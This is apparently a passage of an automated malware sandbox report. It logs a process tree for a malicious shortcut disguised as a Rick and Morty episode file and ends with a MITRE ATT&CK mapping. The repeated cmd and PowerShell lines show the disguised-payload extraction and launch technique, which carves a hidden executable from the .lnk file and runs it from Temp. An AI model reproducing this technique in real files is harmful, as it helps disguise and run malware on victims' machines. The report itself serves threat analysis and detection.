        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        340⤵
        
        PID:2108
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0812" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        341⤵
        
        PID:6060
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        341⤵
        
        PID:572
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        342⤵
        
        PID:1136
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0907" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        343⤵
        
        PID:3544
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        343⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2508
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        344⤵
        
        PID:1032
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0001" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        345⤵
        
        PID:5472
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        345⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1068
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        346⤵
        
        PID:3164
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0054" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        347⤵
        
        PID:4212
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        347⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5844
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        348⤵
        
        PID:5464
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0154" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        349⤵
        
        PID:2516
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        349⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5152
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        350⤵
        
        PID:5204
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0229" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        351⤵
        
        PID:3856
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        351⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:552
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        352⤵
        
        PID:6072
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0294" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        353⤵
        
        PID:1216
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        353⤵
        
        PID:2520
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        354⤵
        
        PID:4776
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0373" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        355⤵
        
        PID:2788
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        355⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5428
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        356⤵
        
        PID:2836
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0491" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        357⤵
        
        PID:952
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        357⤵
        
        PID:4216
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        358⤵
        
        PID:4648
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0588" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        359⤵
        
        PID:4540
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        359⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5424
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        360⤵
        
        PID:5436
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0676" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        361⤵
        
        PID:2292
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        361⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5416
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        362⤵
        
        PID:2816
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0760" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        363⤵
        
        PID:2512
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        363⤵
        
        PID:1100
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        364⤵
        
        PID:3284
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0885" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        365⤵
        
        PID:1700
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        365⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1392
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        366⤵
        
        PID:4360
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0988" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        367⤵
        
        PID:3312
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        367⤵
        
        PID:1676
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        368⤵
        
        PID:1376
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0077" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        369⤵
        
        PID:4444
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        369⤵
        
        PID:3296

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...